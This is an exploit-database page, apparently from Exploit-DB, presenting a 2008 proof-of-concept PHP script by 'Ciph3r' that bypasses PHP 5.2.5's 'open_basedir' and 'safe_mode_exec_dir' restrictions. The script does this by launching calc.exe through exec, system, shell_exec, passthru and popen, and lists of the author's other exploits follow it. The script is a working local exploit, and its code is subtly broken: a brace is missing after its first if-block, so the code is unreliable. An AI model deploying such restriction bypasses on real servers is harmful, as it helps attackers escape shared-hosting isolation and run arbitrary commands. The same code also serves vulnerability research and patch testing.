Menu

Search for hundreds of thousands of exploits

"PHP 5.2.5 - Multiple functions 'safe_mode_exec_dir' / 'open_basedir' Restriction Bypass Vulnerabilities"

Author

Exploit author

Ciph3r

Platform

Exploit platform

php

Release date

Exploit published date

2008-09-08

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
source: https://www.securityfocus.com/bid/31064/info

PHP is prone to 'safe_mode_exec_dir' and 'open_basedir' restriction-bypass vulnerabilities. Successful exploits could allow an attacker to execute arbitrary code.

These vulnerabilities would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other.

PHP 5.2.5 is vulnerable; other versions may also be affected. 

<?php
print_r('----------------------------------------------------------------------------------------
 PHP 5.2.5 Multiple Function "open_basedir" and "safe_mode_exec_dir" Restriction Bypass
----------------------------------------------------------------------------------------
-------------------------------------
 author: Ciph3r
 mail: Ciph3r_blackhat@yahoo.com
 site: www.expl0iters.ir
 S4rK3VT Hacking TEAM
 we are : Ciph3r & Rake
 Sp Tanx2 : Iranian Hacker & kurdish Security TEAM
-------------------------------------
-------------------------------------
 Remote execution:      No
 Local execution:       Yes
-------------------------------------
---------------------------------------------
 PHP.INI settings:
 safe_mode = Off
 disable_functions =
 open_basedir = htdocs          <-- bypassed
 safe_mode_exec_dir = htdocs    <-- bypassed
---------------------------------------------
-------------------------------------------------------------------------------------------
 Description:
 Functions "exec", "system", "shell_exec", "passthru", "popen", if invoked from local,
 are not properly checked and bypass "open_basedir" and "safe_mode_exec_dir" restrictions:
-------------------------------------------------------------------------------------------

');

$option = $argv[1];

if ($option=="1"){
        exec('c:/windows/system32/calc.exe');
        echo '"exec" test completed';

elseif($option=="2"){
        system('c:/windows/system32/calc.exe');
        echo '"system" test completed';
}
elseif($option=="3"){
        shell_exec('c:/windows/system32/calc.exe');
        echo '"shell_exec test" completed';
}
elseif($option=="4"){
        passthru('c:/windows/system32/calc.exe');
        echo '"passthru" test completed';
}
elseif($option=="5"){
        popen('c:/windows/system32/calc.exe','r');
        echo '"popen" test completed';
}
elseif($option==6){
        exec('c:/windows/system32/calc.exe');
        echo "exec test completed\n";
        system('c:/windows/system32/calc.exe');
        echo "system test completed\n";
        shell_exec('c:/windows/system32/calc.exe');
        echo "shell_exec test completed\n";
        passthru('c:/windows/system32/calc.exe');
        echo "passthru test completed\n";
        popen('c:/windows/system32/calc.exe','r');
        echo "popen test completed\n";
}
else{
        print_r('--------------------------------------
 Usage:
 php poc.php 1 => for "exec" test
 php poc.php 2 => for "system" test
 php poc.php 3 => for "shell_exec" test
 php poc.php 4 => for "passthru" test
 php poc.php 5 => for "popen" test
 php poc.php 6 => for "all in one" test
--------------------------------------
');
}
?>
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2012-08-29 "Winlog Lite SCADA HMI system - Overwrite (SEH)" dos windows Ciph3r
2012-08-16 "Microsoft Internet Explorer - Time Element Memory Corruption (MS11-050)" remote windows Ciph3r
2012-07-23 "Atmail WebAdmin and Webmail Control Panel - SQL Root Password Disclosure" webapps linux Ciph3r
2008-10-06 "Internet Download Manager 4.0.5 - File Parsing Buffer Overflow" remote windows Ciph3r
2008-09-29 "Nokia PC Suite 7.0 - Remote Buffer Overflow" remote windows Ciph3r
2008-09-25 "Mass Downloader - Malformed Executable Denial of Service" dos windows Ciph3r
2008-09-22 "UNAK-CMS - Cookie Authentication Bypass" webapps php Ciph3r
2008-09-09 "Stash 1.0.3 - Insecure Cookie Handling" webapps php Ciph3r
2008-09-09 "Kim Websites 1.0 - 'FCKeditor' Arbitrary File Upload" webapps php Ciph3r
2008-09-08 "Microsoft Windows - Image Acquisition Logger ActiveX Control Arbitrary File Overwrite (1)" remote windows Ciph3r
2008-09-08 "Microsoft Windows - Image Acquisition Logger ActiveX Control Arbitrary File Overwrite (2)" remote windows Ciph3r
2008-09-08 "PHP 5.2.5 - Multiple functions 'safe_mode_exec_dir' / 'open_basedir' Restriction Bypass Vulnerabilities" local php Ciph3r
2008-08-13 "Nukeviet 2.0 - '/admin/login.php' Cookie Authentication Bypass" webapps php Ciph3r
2008-07-21 "RunCMS 1.6.1 - 'bbPath[path]' Remote File Inclusion" webapps php Ciph3r
2008-07-21 "RunCMS 1.6.1 - 'bbPath[root_theme]' Remote File Inclusion" webapps php Ciph3r
2008-07-21 "eSyndiCat 1.6 - 'admin_lng' Cookie Authentication Bypass" webapps php Ciph3r
2008-07-21 "XOOPS 2.0.18 - '/modules/system/admin.php?fct' Traversal Local File Inclusion" webapps php Ciph3r
2008-07-21 "AlphAdmin CMS 1.0.5_03 - 'aa_login' Cookie Authentication Bypass" webapps php Ciph3r
2008-07-21 "XOOPS 2.0.18 - '/modules/system/admin.php?fct' Cross-Site Scripting" webapps php Ciph3r
2008-07-18 "CreaCMS - '/edition_article/edition_article.php?cfg[document_uri]' Remote File Inclusion" webapps php Ciph3r
2008-07-18 "Lemon CMS 1.10 - 'browser.php' Local File Inclusion" webapps php Ciph3r
2008-07-18 "CreaCMS - '/fonctions/get_liste_langue.php?cfg[base_uri_admin]' Remote File Inclusion" webapps php Ciph3r
2008-07-11 "facebook newsroom CMS 0.5.0 Beta 1 - Remote File Inclusion" webapps php Ciph3r
2008-07-02 "PHPortal 1.2 - Multiple Remote File Inclusions" webapps php Ciph3r
2008-06-26 "Orca 2.0/2.0.2 - 'params.php?gConf[dir][layouts]' Remote File Inclusion" webapps php Ciph3r
2008-06-19 "Lotus Core CMS 1.0.1 - Remote File Inclusion" webapps php Ciph3r
2008-06-19 "Orlando CMS 0.6 - Remote File Inclusion" webapps php Ciph3r
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.